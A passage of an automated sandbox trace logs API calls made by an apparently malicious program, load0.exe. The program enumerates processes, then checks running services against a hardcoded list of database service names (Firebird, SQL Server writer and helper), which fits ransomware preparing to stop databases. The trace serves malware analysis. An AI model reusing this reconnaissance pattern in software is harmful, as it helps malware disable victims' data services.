[0266.200] lstrlenW (lpString="svchost.exe") returned 11 [0266.200] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.201] lstrlenW (lpString="svchost.exe") returned 11 [0266.201] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.202] lstrlenW (lpString="svchost.exe") returned 11 [0266.202] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.203] lstrlenW (lpString="svchost.exe") returned 11 [0266.203] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.204] lstrlenW (lpString="svchost.exe") returned 11 [0266.204] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.204] lstrlenW (lpString="svchost.exe") returned 11 [0266.205] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.205] lstrlenW (lpString="svchost.exe") returned 11 [0266.206] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.206] lstrlenW (lpString="svchost.exe") returned 11 [0266.206] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.230] lstrlenW (lpString="svchost.exe") returned 11 [0266.230] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0266.231] lstrlenW (lpString="spoolsv.exe") returned 11 [0266.231] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.231] lstrlenW (lpString="svchost.exe") returned 11 [0266.231] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0266.232] lstrlenW (lpString="audiodg.exe") returned 11 [0266.232] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0266.233] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0266.233] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0266.234] lstrlenW (lpString="Memory Compression") returned 18 [0266.234] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0266.235] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0266.235] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0266.236] lstrlenW (lpString="sihost.exe") returned 10 [0266.236] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.236] lstrlenW (lpString="svchost.exe") returned 11 [0266.236] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0266.237] lstrlenW (lpString="taskhostw.exe") returned 13 [0266.237] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0266.238] lstrlenW (lpString="msoia.exe") returned 9 [0266.238] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0266.239] lstrlenW (lpString="explorer.exe") returned 12 [0266.239] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0266.240] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0266.240] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0266.241] lstrlenW (lpString="SearchUI.exe") returned 12 [0266.241] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0266.241] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0266.242] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0266.242] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0266.242] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0266.243] lstrlenW (lpString="load0.exe") returned 9 [0266.243] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0266.244] lstrlenW (lpString="dllhost.exe") returned 11 [0266.244] Process32NextW (in: hSnapshot=0x128c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0266.244] CloseHandle (hObject=0x128c) returned 1 [0266.245] Sleep (dwMilliseconds=0x1f4) [0267.046] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f647f8 [0267.047] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0267.047] GetLastError () returned 0xea [0267.047] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x5500068 [0267.047] EnumServicesStatusExW (in: hSCManager=0x3f647f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5500068, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5500068, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0267.048] CloseServiceHandle (hSCObject=0x3f647f8) returned 1 [0267.048] lstrlenW (lpString="Appinfo") returned 7 [0267.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0267.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0267.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0267.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0267.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0267.048] lstrlenW (lpString="AppXSvc") returned 7 [0267.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0267.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0267.048] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0267.048] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0267.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0267.048] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0267.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0267.049] lstrlenW (lpString="Audiosrv") returned 8 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0267.049] lstrlenW (lpString="BFE") returned 3 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0267.049] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0267.049] lstrlenW (lpString="CDPSvc") returned 6 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0267.049] lstrlenW (lpString="ClickToRunSvc") returned 13 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0267.049] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0267.049] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0267.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0267.049] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0267.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0267.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0267.050] lstrlenW (lpString="CryptSvc") returned 8 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0267.050] lstrlenW (lpString="DcomLaunch") returned 10 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0267.050] lstrlenW (lpString="DeviceAssociationService") returned 24 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0267.050] lstrlenW (lpString="Dhcp") returned 4 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0267.050] lstrlenW (lpString="Dnscache") returned 8 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0267.050] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0267.050] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0267.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0267.050] lstrlenW (lpString="DPS") returned 3 [0267.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0267.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0267.051] lstrlenW (lpString="DusmSvc") returned 7 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0267.051] lstrlenW (lpString="EventLog") returned 8 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0267.051] lstrlenW (lpString="EventSystem") returned 11 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0267.051] lstrlenW (lpString="FontCache") returned 9 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0267.051] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0267.051] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0267.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0267.051] lstrlenW (lpString="gpsvc") returned 5 [0267.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0267.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0267.052] lstrlenW (lpString="iphlpsvc") returned 8 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0267.052] lstrlenW (lpString="KeyIso") returned 6 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0267.052] lstrlenW (lpString="LanmanServer") returned 12 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0267.052] lstrlenW (lpString="LanmanWorkstation") returned 17 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0267.052] lstrlenW (lpString="lfsvc") returned 5 [0267.052] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0267.052] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0267.052] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0267.052] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0267.053] lstrlenW (lpString="lmhosts") returned 7 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0267.053] lstrlenW (lpString="LSM") returned 3 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0267.053] lstrlenW (lpString="MpsSvc") returned 6 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0267.053] lstrlenW (lpString="NcbService") returned 10 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0267.053] lstrlenW (lpString="netprofm") returned 8 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0267.053] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0267.053] lstrlenW (lpString="NgcSvc") returned 6 [0267.053] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0267.053] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0267.053] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0267.053] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0267.054] lstrlenW (lpString="NlaSvc") returned 6 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0267.054] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0267.054] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0267.054] lstrlenW (lpString="nsi") returned 3 [0267.054] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0267.054] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0267.054] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 